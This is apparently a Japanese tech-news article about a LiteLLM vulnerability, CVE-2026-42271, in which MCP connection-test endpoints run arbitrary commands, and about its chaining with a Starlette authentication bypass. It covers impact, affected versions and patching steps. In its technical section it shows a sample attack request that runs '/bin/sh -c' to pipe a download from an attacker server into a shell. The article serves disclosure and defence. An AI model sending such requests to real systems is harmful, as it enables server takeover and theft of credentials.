ラボまとめコラムニュース
ブログ/記事一覧/AIをまとめる『LiteLLM』乗っ取りの穴 CVE-2026-42271、認証なしでも危険
litellm-cve-2026-42271-mcp-command-injection-unauth-rce-cover-ja

AIをまとめる『LiteLLM』乗っ取りの穴 CVE-2026-42271、認証なしでも危険

100種類以上のAIサービスをまとめて扱える人気ツール『LiteLLM』に、サーバーを乗っ取られる欠陥CVE-2026-42271が見つかりました。本来はログインが必要ですが、別の欠陥と組み合わせると認証なしで侵入され、APIキーや社内データを丸ごと奪われます。対象は1.74.2〜1.83.6で、1.83.7への更新が必要です。

ニュース 2日前更新
avatar-m-1

堀川 慎

Backend Engineer / AWS / Django / Go

2026.06.099 min10 views
Share X B! Hatena LINE in LinkedIn RSS
この記事のポイント

100種類以上のAIサービスをまとめて扱える人気ツール『LiteLLM』に、サーバーを乗っ取られる欠陥CVE-2026-42271が見つかりました。本来はログインが必要ですが、別の欠陥と組み合わせると認証なしで侵入され、APIキーや社内データを丸ごと奪われます。対象は1.74.2〜1.83.6で、1.83.7への更新が必要です。

社内のAI利用をひとつの窓口に束ねる人気ツール「LiteLLM」に、管理用APIキーを持つだけでサーバー上で任意のコマンドを実行できる欠陥が見つかりました。しかも別の欠陥と組み合わせると、ログインすら不要で外部から乗っ取れることが2026年6月1日に実証されています。問題の脆弱性は CVE-2026-42271、対象は LiteLLM 1.74.2〜1.83.6、修正は 1.83.7 です。

LiteLLM は、OpenAI・Anthropic・Google など100種類以上のAIサービスを「OpenAI互換」の同じ書式で呼び出せるようにする中継サーバー（AIゲートウェイ）です。GitHubのスター数は約5万、Stripe や Netflix、Google の ADK なども採用していると公式に記載されています。社内の利用料金管理・キー発行・アクセス制御をここに集約する使い方が一般的で、裏側には各社の本物のAPIキーが束で保管されています。その中継サーバーが奪われるということは、ぶら下がっている全AIサービスの鍵束を一度に渡すのと同じです。

本件は、2026年に入ってからLiteLLMで相次いだ深刻な欠陥の系譜の最新版でもあります。4月の CVE-2026-30623（MCP経由のコマンド実行）、5月の CVE-2026-42208（米政府が「重要インフラで悪用を確認」とした実被害ありの欠陥）に続き、今回の CVE-2026-42271 が外部からの完全乗っ取りに発展した形です。AIゲートウェイという仕組みそのものが、いま攻撃者の主戦場になっています。

何が起きたのか — 早見表

最初に「どの組み合わせを踏むと何が起きるのか」を1枚で整理します。CVE-2026-42271 は単体ならログインが必要ですが、別の欠陥と連鎖すると性質が一変します。

項目CVE-2026-42271 単体CVE-2026-48710 と連鎖
攻撃の入口有効なAPIキーが
1本必要
（低権限でも可）		不要
（認証を丸ごと回避）
できること中継サーバー上で任意のコマンドを実行（サーバー乗っ取り）
深刻度（CVSS）8.8（v3.1）
8.7（v4.0）		10.0（最大値）
影響バージョン1.74.2 〜 1.83.6同左＋Starlette
1.0.0以下を同梱
修正版LiteLLM 1.83.7LiteLLM 1.83.7＋
Starlette 1.0.1以上

攻撃の足がかりは、LiteLLM が備える「MCPサーバーの接続テスト」用の2つの窓口、POST /mcp-rest/test/connection と POST /mcp-rest/test/tools/list です。ここに「起動するコマンド」を含む設定を投げると、中継サーバーがそのコマンドをそのまま実行してしまう、というのが欠陥の核心です。公式アドバイザリ GHSA-v4p8-mg3p-g94g に詳細が記載されています。

そもそもLiteLLMとMCPとは何か

LiteLLM は、社内のアプリやチャットボットが「OpenAIにつなぐ」「Anthropicにつなぐ」と個別に書かなくて済むように、すべてのAIサービスへの接続を1つの中継サーバーにまとめるためのソフトです。アプリ側はLiteLLMだけを見ればよく、裏でどのAI業者を使うか、誰がいくら使ったか、危険な入力をはじくかといった管理を一手に引き受けます。便利な反面、ここを通る通信と保管される鍵の量は膨大です。

今回の舞台となった「MCP」は、AIに外部ツール（社内検索、データベース、ファイル操作など）を使わせるための共通規格（Model Context Protocol）です。MCPのツールには、AIと同じマシン上でプログラムを起動して連携する「stdio方式」があり、このとき「どのコマンドを起動するか」を設定として渡せる仕組みになっています。本来は npx や python のような決まった起動役だけを呼ぶ想定でした。

LiteLLM には、このMCPサーバー設定を保存する前に「ちゃんとつながるか」を試すプレビュー用の窓口が用意されていました。問題は、このプレビュー窓口が「起動するコマンド」を利用者の入力からそのまま受け取り、権限チェックもないまま実行していた点です。管理者だけが触れるべき機能が、ただAPIキーを1本持っているだけの低権限の利用者にも開放されていました。

攻撃者像と狙い — 誰が、何のために、何を持っていくのか

AIゲートウェイという言葉は抽象的で、「自分には関係ない」と感じやすいものです。そこで、この穴を実際に欲しがるのが誰で、踏ませた瞬間に手元へ何が転がり込むのかを、攻撃者の側から具体的に並べます。LiteLLMは社内のAI利用の「料金所」であり、料金所を握れば通行料も通行記録もすべて見える、と考えると分かりやすいはずです。

この穴を本気で踏ませたい相手は、企業のAI予算と顧客データを狙う金銭目的のランサム集団、生成AIブームに便乗してAPIキーを換金する転売業者、競合のAI活用状況を覗き見たいライバル企業、そして社内のAI基盤に恨みを持つ元担当者といった、はっきり顔のある人間たちです。彼らがLiteLLMの中継サーバーから持ち出したいものは具体的です。各社に課金される OpenAI・Anthropic・Google の本物のAPIキー、その鍵で叩き放題になる高額なAI利用枠、社内チャットボットに食わせていた顧客の問い合わせ履歴や契約書、料金管理データベースの接続情報、そしてサーバーに残った各種の認証トークン。CVE-2026-42271 を踏ませた瞬間、これらが中継サーバーのメモリと環境変数からそっくり相手の手元に渡ります。

攻撃前の下調べも驚くほど簡単です。LiteLLM はインターネットに露出した状態で運用されがちで、外部から到達できる管理画面やAPIの存在は runZero などの調査でも指摘されています。攻撃者は、まず姉妹の欠陥（後述のSQL注入 CVE-2026-42208）でAPIキーを盗み出して正規利用者になりすますか、あるいは今回の連鎖で認証そのものを飛び越えて、テスト用窓口に「起動コマンド」を投げ込むだけです。一度コマンドが走れば、そこから外部の指令サーバーへの通信路を開き、クラウドの一時認証情報を盗み、社内ネットワークの奥へ横移動し、長期居座り用の仕掛けを残す——という流れを好きな順番で進められます。

CVSS 8.8、連鎖時は10.0という数字は、サーバー1台が技術的に奪われる深刻度を示すだけです。AIを業務に組み込んだ企業が本当に失うのは、AI利用料の青天井の請求、顧客に渡してきた「うちのAIは安全です」という説明の信頼、そして気づかぬうちに自社のAI枠が他人の攻撃インフラに転用される事態です。とりわけ、低権限の利用者にもキーを配って社内に広くLiteLLMを開放してきたチームほど、内側からあっさり踏み抜かれる構造になっている点が、この欠陥のもっとも厄介なところです。

CVE-2026-42271の中身 — テスト窓口が「コマンド実行装置」になっていた

脆弱性の正体は、MCPサーバーの接続テスト用エンドポイント2つにありました。これらは設定保存前の「お試し」用ですが、リクエストの本文に MCPサーバー設定をまるごと受け取る作りになっていました。stdio方式を指定した設定には command（起動するコマンド）、args（引数）、env（環境変数）が含まれ、LiteLLMは接続を試す過程でその command を中継サーバー上で子プロセスとして起動します。

攻撃リクエストのイメージ（POST /mcp-rest/test/connection）

{
  "transport": "stdio",
  "command": "/bin/sh",          ← 任意のコマンドを指定
  "args": ["-c", "curl 攻撃者サーバー | sh"],
  "env": { ... }
}

↑ command に任意のバイナリ、args に攻撃者が用意した命令を入れて投げると、中継サーバーがそれをそのまま実行してしまう。

致命的だったのは、この2つの窓口に権限チェックが無かったことです。MCPサーバー設定を「保存」する窓口は管理者権限（PROXY_ADMIN）を要求していたのに、その前段の「テスト」窓口は、有効なAPIキーさえあれば誰でも——社内向けに配った低権限キーでも——叩けたのです。発見者の jaydns 氏は2026年4月20日にこの問題を報告し、CVSSは v3.1で8.8、v4.0で8.7と評価されました。攻撃ベクトルは AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H です。

修正版の LiteLLM 1.83.7 では、2つのテスト窓口にも保存窓口と同じ PROXY_ADMIN 権限を要求するよう変更されました。つまり「管理者しか触れない」ところまで揃えた、という素直な修正です。本来は最初からそうあるべき権限設計でした。

「ログイン不要」へ格上げした連鎖 — CVE-2026-48710

ここまでは「有効なAPIキーを1本持っていれば」という前提でした。ところが攻撃調査会社の Horizon3.ai が2026年6月1日、その前提を取り払う連鎖を実証しました。鍵になったのが CVE-2026-48710、通称「BadHost」です。

BadHost は、Pythonの定番Webフレームワーク Starlette（多くのPython製APIの土台）の、リクエストの「Host」欄の検証を回避できる欠陥です。LiteLLM はこのStarletteを土台に使っており、バージョン1.0.0以下を同梱した環境では、攻撃者がHost欄を細工することでAPIキーの確認を丸ごと素通りできてしまいます。Horizon3.ai は「依存関係にStarlette 1.0.0以下を含むLiteLLM環境では、認証機構を完全に回避できる」と明言しています。

この2つを重ねると、(1) BadHostで認証をすり抜け → (2) 本来は管理者専用だったMCPテスト窓口に到達 → (3) コマンドを投げ込んで実行、という流れがログインなしで成立します。結果は認証不要のサーバー乗っ取りで、連鎖の深刻度はCVSS 10.0（最大値）と評価されています。修正には、LiteLLMを1.83.7以上にするだけでなく、Starletteを1.0.1以上に上げることが必要です。

確認できていること、できていないこと

この件は「LiteLLMで実際に攻撃が起きている」という報道と混同されやすいので、現時点で裏が取れている事実と、まだ確認できていない点を分けて整理します。

✓ 確認済みの事実

  • ✓CVE-2026-42271 は連鎖により認証なしの遠隔コード実行が可能と実証された（Horizon3.ai・6月1日）
  • ✓姉妹の欠陥 CVE-2026-42208（SQL注入）は米CISAの「実際に攻撃されている脆弱性リスト」に5月8日登録済みで、金融・医療など重要インフラでの悪用が確認されたとされる（Miggo）
  • ✓修正版 LiteLLM 1.83.7 は公開済み。テスト窓口に管理者権限を要求する変更が入った

? まだ確認できていないこと

  • ?CVE-2026-42271 単体については、本稿執筆時点でNVD・SentinelOneとも「実際の悪用は確認されていない（Known Exploited: No）」と記載しており、CISAのリストにも単独では未登録 ― ただし攻撃が容易で実証コードの考え方も公開されているため、悪用の追随は時間の問題とみられる
  • ?連鎖（CVE-2026-48710併用）が実環境で広く使われ始めたかどうかの観測データは未公表

要するに、LiteLLMという製品そのものはすでに「実際に攻撃される側」に回っている（姉妹の欠陥が悪用済み）一方で、CVE-2026-42271単体の野良攻撃はまだ観測報告がない、という段階です。攻撃の容易さと製品の普及規模を踏まえれば、待つ理由はありません。米政府が公開している実際に攻撃されている脆弱性の一覧（CISA KEVダッシュボード日本語版）でも、LiteLLM関連は要注視枠に入っています。

2026年のLiteLLMに何が起きてきたか

今回の CVE-2026-42271 は突発事故ではなく、AIゲートウェイという仕組みが構造的に抱える「外部入力をそのまま実行・問い合わせに流してしまう」問題の繰り返しです。2026年に入ってからの主な経緯を時系列で並べます。

← スワイプで移動

4月のコマンド実行（CVE-2026-30623）、5月のSQL注入からの乗っ取り（CVE-2026-42208＋CVE-2026-42203）、そして6月の認証なし乗っ取り（CVE-2026-42271＋CVE-2026-48710）。手口は違っても、根っこは同じです。AIゲートウェイは「外から来た文字列」をコマンドやデータベース問い合わせとして扱う場面が多く、その境界の作り込みが甘いと、そのまま実行装置になってしまう。OSSの依存関係に広く埋め込まれていく性質も踏まえると、サプライチェーン視点での継続監査が欠かせません。網を張る観点はOSSサプライチェーンスキャナーのまとめもあわせてご覧ください。

運用パターン別・何が奪われるか

自分の環境がどこまで危ないかを最速で判断するための早見表です。LiteLLMの置き方によって、奪われる範囲が大きく変わります。

運用パターンこの欠陥で
届くもの		届きにくいもの
（設定次第）
インターネットに
直接公開		✅ 連鎖で認証なし侵入
✅ 全APIキー
✅ 料金DB接続情報		❌ 他サーバー
（egress制限が
効いていれば）
社内ネットのみ
＋低権限キー配布		✅ 社内の誰でも
　コマンド実行可
✅ 中継サーバー乗っ取り		❌ 外部からの直接侵入
（社内到達が前提）
コンテナでroot
起動のまま運用		✅ コンテナ内の全権限
✅ クラウド一時認証
　（メタデータ経由）		❌ ホストOS本体
（コンテナ境界次第）

注意したいのは2行目です。「うちは社内に閉じているから大丈夫」と思っていても、低権限のAPIキーを部署内に広く配っている場合、その鍵を持つ誰か（あるいは盗まれた1本）だけで中継サーバーが乗っ取られます。インターネット直結でなくても、内側からの一撃が成立する点を見落とさないでください。

今すぐやる対応

LiteLLMを運用しているなら、以下を順に進めてください。1番は緊急、2〜5番は今週中に。

#対応具体的に何をするか
11.83.7以上へ
即更新		pip install -U litellm で
1.83.7以降に。Dockerなら
イメージタグを更新。
2Starletteも
1.0.1以上へ		連鎖（認証回避）を断つため
pip show starlette で
版数を確認し更新。
3APIキーを
全数ローテート		既に踏まれた可能性に備え、
LiteLLM配下のAI業者キーと
仮想キーを再発行。
4管理画面を
公開しない		インターネット直結なら
VPN/IP制限の内側へ。
露出状況を棚卸し。
5外向き通信を
絞る		必要な宛先のみ許可。
169.254.169.254 など
クラウド認証取得口は遮断。

5番（外向き通信の制限）は本件に限らず効く防御線です。仮にコマンドが実行されても、外部の指令サーバーへ折り返す経路、クラウドの一時認証情報を盗む経路、社内の奥へ横移動する経路がまとめて塞がれます。3番のキー再発行は手間ですが、姉妹の欠陥が実際に悪用されている以上、「念のため」ではなく必須に近い扱いをおすすめします。

締め — AIの「料金所」を素通りされないために

CVE-2026-42271 が突きつけているのは、AIゲートウェイという便利な集約点が、そのまま「鍵束の保管庫」かつ「コマンド実行装置」にもなり得るという現実です。社内のAI利用を1か所にまとめるほど、そこを抜かれたときの被害は広がります。今回は、本来管理者専用だったテスト窓口が誰にでも開いていたという初歩的な権限漏れが、別の認証回避と重なって最大深刻度まで跳ね上がりました。

運用者にできる最善は、(a) LiteLLMとStarletteを最新へ上げ続けること、(b) APIキーを定期的に入れ替え権限を最小限に絞ること、(c) 管理画面を不用意に公開せず外向き通信を制限すること、の3点です。「社内に閉じているから」「ログインを必須にしているから」という安心が、今回のような連鎖で簡単に崩れることを前提に置いてください。

まだ更新していない環境は、公式リリースとアドバイザリを確認のうえ、今週中の適用を強く推奨します。

参照元